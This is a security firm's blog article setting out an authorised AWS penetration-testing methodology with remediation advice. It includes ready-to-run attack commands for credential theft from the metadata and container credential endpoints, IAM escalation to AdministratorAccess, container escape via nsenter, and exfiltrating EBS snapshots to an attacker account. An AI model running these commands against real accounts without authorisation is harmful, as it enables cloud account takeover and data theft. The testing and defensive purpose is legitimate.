AWS Penetration Testing Methodology — End-to-End Playbook
Published May 3, 2026 · 16 min read
Pentesting an AWS environment is not the same as pentesting an on-prem network with cloud instances bolted on. The interesting attack surface lives in the control plane — IAM, KMS, STS, the metadata service, the container orchestrators — not in the operating systems running inside EC2. This methodology walks the engagement end-to-end: AWS's own customer permissions policy, scope reconnaissance, IAM privilege escalation patterns documented by Rhino Security Labs, instance metadata service abuse, container and Kubernetes attack paths, EBS snapshot exfiltration, and the reporting structure that maps cleanly to AWS shared-responsibility.
AWS's customer support policy for penetration testing
AWS publishes a Penetration Testingpage that defines what customers may and may not test against their own AWS resources. The current policy permits customers to perform security testing on resources they own without prior approval, with explicit restrictions on a defined list of services. As of the published policy, permitted-without-prior-authorisation testing covers the eight services AWS lists explicitly: EC2 instances and NAT gateways and Elastic Load Balancers, RDS, CloudFront, Aurora, API Gateways, AWS Lambda and Lambda Edge functions, Lightsail resources, and Elastic Beanstalk environments.
Prohibited activities — regardless of which service is in scope — include DNS zone walking via Route 53, denial of service or simulated DoS, port flooding, protocol flooding, and request flooding. Anything that affects the availability of the AWS service itself (as opposed to the customer's application) requires explicit written authorisation from AWS through the simulated event form. Always re-check the policy page before scoping — AWS updates the permitted/prohibited list periodically, and the customer's legal team should reference the current version, not a screenshot from an older engagement.
Scope and rules of engagement
Before a single API call lands at AWS, agree on the scope contract:
- Which AWS account IDs are in scope (production, staging, sandbox — explicit list).
- Whether AWS Organizations enumeration from the master account is allowed.
- Whether cross-account assume-role attempts to discover external trust relationships are allowed.
- Stop-list for high-blast-radius techniques — e.g. role pivot into a production payments account.
- Communication channel and named white-cell contact for emergency stops.
- Out-of-scope: KMS key destruction, IAM user deletion, S3 lifecycle modifications.
- Logging posture — CloudTrail must be on across the engagement so the customer can review the testers' activity post-engagement.
For a credentialed assessment, the customer typically issues a dedicated IAM user or role with a ReadOnlyAccess policy plus any additional managed policies the engagement scope requires. Rotate credentials at the end of the engagement.
Recon — mapping the environment
With a credentialed foothold, the recon phase enumerates the account's posture. The standard tooling stack:
- Pacu — open-source AWS exploitation framework from Rhino Security Labs. Modules cover enumeration, privilege escalation, persistence, and exfil.
- ScoutSuite — multi-cloud security auditing, generates a static HTML report of misconfigurations.
- CloudFox — from Bishop Fox, focuses on the "what can I do with these credentials?" question.
- Prowler — CIS-aligned compliance checks across AWS, Azure, GCP, M365, K8s.
aws cliwith a Pacu-controlled session — the lowest-level option, but invaluable for reproducing and documenting findings step by step.
# Pacu session bootstrap
pacu
> import_keys axveil-engagement
> set_regions us-east-1 us-east-2 eu-west-1 ap-south-1
> run aws__enum_account
> run iam__enum_users_roles_policies_groups
> run iam__enum_permissions
> run organizations__enum
> run s3__enum_buckets
# CloudFox triage
cloudfox aws --profile axveil-engagement all-checks
# ScoutSuite audit
scout aws --profile axveil-engagement --report-dir scout-outThe Organizations enumeration is high-signal when the foothold has any visibility into the master payer account — you discover sibling accounts, OU structure, and cross-account roles that often expose privilege escalation chains spanning multiple accounts.
S3 enumeration — still a top finding
Misconfigured S3 buckets remain the highest-frequency finding in cloud pentests. Test for: unauthenticated read on bucket listing, unauthenticated read on object listing, ACL-grant misconfig (AllUsers and AuthenticatedUsers grants), bucket policy that permits cross-account read, missing object-level Block Public Access, missing server-side encryption, missing versioning + MFA delete on buckets holding sensitive data, and access logging gaps.
# Pacu modules for S3
> run s3__bucket_finder --buckets axveil-target,axveil-target-prod,axveil-target-backups
> run s3__download_bucket --bucket axveil-target-backups --dl-all
# CloudFox bucket triage
cloudfox aws --profile axveil-engagement bucketsIAM privilege escalation — the Rhino Security Labs map
Rhino Security Labs published the canonical AWS IAM privilege escalation researchin 2018, enumerating discrete IAM permission combinations that allow escalation to a more privileged identity. The research is updated periodically and remains the reference list every cloud pentester runs against an account. Pacu's iam__privesc_scan module automates the check.
High-frequency escalation paths to test:
iam:CreateAccessKeyon another user — mint creds for any IAM user the foothold can target.iam:CreateLoginProfileon another user — set a console password for an IAM user that has none.iam:AttachUserPolicy/iam:AttachGroupPolicy/iam:AttachRolePolicywitharn:aws:iam::aws:policy/AdministratorAccess— direct elevation.iam:PutUserPolicy/iam:PutGroupPolicy/iam:PutRolePolicy— inline policy attaches with same effect.iam:CreatePolicyVersion+iam:SetDefaultPolicyVersion— modify an existing customer-managed policy your role is bound to.iam:UpdateAssumeRolePolicy+sts:AssumeRole— rewrite a target role's trust policy to allow your principal.iam:PassRole+ service-create — attach a high-privilege role to a new EC2 instance, Lambda, ECS task, Glue job, or CodeBuild project that you control.iam:CreateGroup+iam:AddUserToGroup+iam:AttachGroupPolicy— group-mediated elevation.
# Pacu privilege escalation scan
> run iam__privesc_scan
# Reports each potential escalation, ranked by likely success.
# Manual demonstration: CreateAccessKey escalation
aws iam create-access-key --user-name target-user --profile axveil-engagement
# Manual demonstration: AttachUserPolicy to AdministratorAccess
aws iam attach-user-policy \
--user-name foothold-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--profile axveil-engagementDocument the discovered escalation path with the exact API call sequence and CloudTrail event references so the blue team can reproduce and write detection content. The deliverable should include a Sigma or KQL detection-rule snippet for each escalation primitive used.
Instance Metadata Service — IMDSv1 vs IMDSv2
The Instance Metadata Service (IMDS) at 169.254.169.254is the most exploited cloud primitive in real-world breaches. Capital One's 2019 incident pivoted through an SSRF in a WAF reaching IMDSv1 to retrieve EC2 role credentials and read 30 GB of customer data from S3 — a textbook IMDSv1 SSRF chain. AWS introduced IMDSv2 in November 2019 as a session-token-based alternative that defeats most SSRF chains, and made it the default on new EC2 launches in late 2022.
- IMDSv1 — single-request HTTP GET, no token. Vulnerable to any SSRF that allows arbitrary outbound HTTP from the instance.
- IMDSv2 — requires a PUT to
/api/tokenwith a TTL header, then GET with the token. SSRF flows that only allow GET cannot reach IMDSv2.
# IMDSv1 retrieval (works only on legacy instances or where IMDSv1 left enabled)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# IMDSv2 retrieval -- full sequence
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Once you have role creds, exfil and use locally
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identityFor every EC2 instance in scope, audit whether IMDSv2 is enforced (the HttpTokens attribute set to required), whether HttpPutResponseHopLimitis set to 1 (prevents container escapes from reaching IMDS via two hops), and whether any application code or proxy will proxy arbitrary URLs — the classic SSRF foothold.
Lambda — environment variable and role abuse
Lambda functions execute with an attached execution role. The standard pentest workflow:
- Enumerate functions, environment variables, layers, code (downloadable via
aws lambda get-function). - Look for credentials in environment variables — database passwords, API keys, third-party tokens. Common, often material findings.
- Check the execution role for over-broad permissions — many Lambda roles have
AdministratorAccessor wildcardiam:*from initial development that was never tightened. - If
lambda:UpdateFunctionCodeis reachable, modify the code to exfiltrate the execution role's STS credentials — classic Paculambda__backdoor_new_usersor manual code patch.
ECS and Fargate — task role exfiltration
ECS tasks — whether on EC2 or Fargate — are issued a task role accessible at the credential provider endpoint. Inside a compromised container:
# Inside the container
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
# Or, on Fargate
echo $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URISame playbook as IMDS abuse: pull the task role credentials, exfil locally, enumerate. ECS task roles are routinely over-privileged because developers attach broad policies during local development and never tighten before production deploy.
EKS — from a pod to the cluster
EKS combines AWS IAM with Kubernetes RBAC via the aws-auth ConfigMap (or, in newer clusters, the EKS Access Entries API). The pentest playbook for a foothold inside an EKS pod:
- Enumerate the pod's service account token at
/var/run/secrets/kubernetes.io/serviceaccount/token. - Map the service account to its IAM role via IRSA (IAM Roles for Service Accounts) and check the assumed role's permissions.
- Attempt cluster-wide RBAC enumeration —
kubectl auth can-i --listwith the SA token. - Check for hostPath, hostNetwork, hostPID, privileged containers in the namespace — classic container escape primitives.
- If the pod can reach IMDS (HopLimit not set to 1), pivot to the underlying node's instance role.
- If the pod has
kubectl execpermission across other pods, pivot laterally to a pod with broader permissions.
# Inside an EKS pod -- service account token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Self-permissions enumeration
kubectl --token=$TOKEN auth can-i --list
# IMDS pivot if HopLimit allows
TOKEN_IMDS=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN_IMDS" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Container escape primitives to test
ls /host # if hostPath mount present
nsenter -t 1 -m -u -i -n -p -- bash # if privileged + share PID nsThe two commonest EKS findings are: (1) over-permissive service account IAM roles — an ingress controller's IRSA role with s3:* across the account, for example, and (2) the worker node instance role being reachable from pods because IMDSv2 hop limit was not tightened during cluster bootstrap.
Container breakout primitives in cloud workloads
Container breakout is not an AWS-specific topic but it is the most common pivot from an application compromise to a cloud-credential compromise. Test for:
- Privileged container with capabilities —
SYS_ADMINenables many breakout primitives, including writing to/proc/self/oom_score_adjand abusingrelease_agent. - Docker socket mounted into the container —
/var/run/docker.sockis full host control. - Kernel CVEs — CVE-2022-0185 (file system context heap overflow), CVE-2024-1086 (nf_tables UAF) and similar.
- cgroups v1 release_agent technique on misconfigured containers.
EBS snapshot exfiltration
EBS snapshots are a high-value exfil path because, once shared cross-account, they let an attacker mount the entire root volume of a target instance in their own AWS account and read everything — including credentials, keys, and customer data — without ever touching the original instance again.
# Snapshot an existing volume the foothold can describe
aws ec2 create-snapshot --volume-id vol-0abc... \
--description "axveil-engagement" --profile axveil-engagement
# Share the snapshot to an attacker-controlled account
aws ec2 modify-snapshot-attribute --snapshot-id snap-0xyz... \
--attribute createVolumePermission --operation-type add \
--user-ids 123456789012 --profile axveil-engagement
# In the attacker account, copy + create a volume + attach to a recon EC2
aws ec2 copy-snapshot --source-region us-east-1 --source-snapshot-id snap-0xyz... \
--destination-region us-east-1 --profile attacker
aws ec2 create-volume --snapshot-id snap-0new... --availability-zone us-east-1a --profile attacker
aws ec2 attach-volume --volume-id vol-0new... --instance-id i-0recon... --device /dev/sdf --profile attacker
# Inside the recon instance
sudo mount /dev/xvdf1 /mnt/target
ls /mnt/target/home /mnt/target/etc /mnt/target/root /mnt/target/var/log/cloud-init.logPacu's ebs__explore_snapshots module automates discovery and copy. The mitigation customers ship after this finding: an SCP that denies ec2:ModifySnapshotAttribute with a non-organisation principal, plus alerting on ec2:CreateSnapshot by non-approved roles.
CloudTrail tamper checks
- Multi-region trail enabled across all regions, including ones the org does not actively use.
- Log file validation enabled — tamper-evidence on the JSON files written to S3.
- Log destination S3 bucket in a separate logging account with bucket policy denying delete to all but a single break-glass role.
- SCP denying
cloudtrail:StopLogging,cloudtrail:DeleteTrail,cloudtrail:UpdateTrailacross the org. - Alert on any of the above events from any principal — high-fidelity detection content.
A pentest report finding gaps here is more consequential than any individual exploit chain — it means the customer cannot reliably investigate the next intrusion.
Reporting structure aligned to shared responsibility
AWS publishes the shared responsibility modelthat splits security of the cloud (AWS's responsibility — hypervisor, hardware, AWS service implementation) from security in the cloud (customer's responsibility — IAM, network configuration, OS patching, application code). Cloud pentest reports should organise findings against this split: every finding maps to a customer responsibility, with the AWS control that supports the recommended remediation referenced by name (for example, IAM Access Analyzer for least-privilege validation, GuardDuty for runtime anomaly detection, Security Hub for centralised findings).
A 30-day post-engagement plan
- Days 0-7 — remediate critical findings (publicly readable S3, IMDSv1 enabled, over-permissive roles, exposed Lambda env vars).
- Days 7-14 — deploy SCPs to prevent regression: deny IMDSv1 launches, deny snapshot sharing outside org, deny CloudTrail disable.
- Days 14-21 — implement IAM Access Analyzer review for every role flagged in the report.
- Days 21-30 — run the engagement's detection content in dev, validate, promote to production SIEM.
For a scoped AWS pentest engagement aligned with this methodology, see the AxVeil VAPT service or get in touch for a custom cloud-only engagement.
Frequently asked questions
Do I need AWS approval before pentesting my own account?
Not for the eight services AWS lists as permitted (EC2, RDS, CloudFront, Aurora, API Gateway, Lambda, Lightsail, Elastic Beanstalk), as long as you test only resources you own and avoid the prohibited activities — DNS zone walking via Route 53, denial of service, and port/protocol/request flooding. Anything that simulates availability impact on the AWS service itself still requires the AWS simulated-event form. The policy list changes periodically, so re-check the AWS penetration testing page before each engagement.
What is the difference between IMDSv1 and IMDSv2, and why does it matter so much?
IMDSv1 answers a single HTTP GET to 169.254.169.254 with no token, so any SSRF that allows outbound GET from the instance can retrieve the attached IAM role's credentials — the exact chain behind the 2019 Capital One breach. IMDSv2 requires a PUT to obtain a session token first, which most SSRF primitives cannot perform. Enforcing IMDSv2 (HttpTokens=required) and setting the hop limit to 1 closes the entire SSRF-to-credentials path at one choke point, making it the highest-leverage single control in most AWS estates.
Why is IAM the focus rather than the operating systems inside EC2?
In a mature cloud estate the interesting blast radius lives in the control plane — IAM, STS, KMS, and the metadata service — not in the guest OS. A single over-permissive role, an exploitable iam:PassRole, or a trust policy that trusts a whole account rather than a specific principal can escalate a low-privilege foothold to account-wide admin. The Rhino Security Labs privilege-escalation map enumerates these permission combinations, and Pacu's iam__privesc_scan automates the check.
Will running Pacu and ScoutSuite damage my production environment?
Enumeration and posture-audit modules are read-only and safe. Exploitation and persistence modules (creating access keys, sharing EBS snapshots, modifying trust policies) are mutating and are only run with explicit written authorisation, against agreed targets, with a stop-list excluding payments accounts and key-destruction. Every mutating action is logged to CloudTrail so the customer can review exactly what the testers did and roll it back.
How do AWS pentest findings map to compliance frameworks?
Findings are organised against the AWS shared-responsibility model — every finding maps to a customer responsibility with the supporting AWS control named (IAM Access Analyzer for least privilege, GuardDuty for runtime anomalies, Security Hub for aggregation). For audit work we additionally map IAM and access findings to SOC 2 CC6.1 and PCI DSS 7.x/8.x, encryption findings to ISO 27001:2022 A.8.24, and logging findings to CC7.2 and PCI 10.x.
Plan your AWS pentest with AxVeil.
Cloud-native methodology, IAM privilege escalation depth, container and EKS coverage, retest included.
Talk to us about scoping →